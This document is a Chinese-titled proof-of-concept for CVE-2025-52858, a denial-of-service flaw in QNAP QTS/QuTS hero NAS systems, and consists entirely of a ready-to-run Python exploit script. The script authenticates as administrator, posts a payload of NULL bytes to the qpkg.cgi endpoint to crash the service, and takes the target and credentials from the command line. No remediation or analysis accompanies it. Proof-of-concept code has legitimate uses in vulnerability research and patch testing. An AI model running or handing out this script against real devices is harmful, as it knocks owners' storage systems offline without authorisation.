CVE-2025-52858 QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-52858 PoC - QNAP NULL Pointer Dereference DoS # This PoC demonstrates triggering a NULL pointer dereference # to cause denial of service on vulnerable QNAP QTS/QuTS hero systems. # Note: Requires valid administrator credentials. import requests import sys TARGET_URL = "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def trigger_null_deref(target, username, password): """ Send a crafted request to trigger NULL pointer dereference in vulnerable QNAP service component. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{target}/cgi-bin/authLogin.cgi" login_data = { "user": username, "pwd": password } try: resp = session.post(login_url, data=login_data, verify=False, timeout=10) print(f"[*] Login response: {resp.status_code}") except Exception as e: print(f"[-] Login failed: {e}") return False # Step 2: Send crafted request to vulnerable endpoint # The malformed payload triggers NULL pointer dereference vuln_url = f"{target}/cgi-bin/qpkg/cgi-bin/qpkg.cgi" crafted_payload = { "action": "get_qpkg_info", "pkg_name": "\x00" * 256, # NULL bytes to trigger dereference "func": "all" } headers = { "Content-Type": "application/x-www-form-urlencoded", "X-Requested-With": "XMLHttpRequest" } try: resp = session.post(vuln_url, data=crafted_payload, headers=headers, verify=False, timeout=10) print(f"[*] Exploit response: {resp.status_code}") print("[+] Payload sent. Target service may have crashed.") return True except requests.exceptions.Timeout: print("[+] Target appears unresponsive - DoS likely successful") return True except Exception as e: print(f"[*] Request result: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [username] [password]") sys.exit(1) target = sys.argv[1] user = sys.argv[2] if len(sys.argv) > 2 else ADMIN_USER pwd = sys.argv[3] if len(sys.argv) > 3 else ADMIN_PASS trigger_null_deref(target, user, pwd)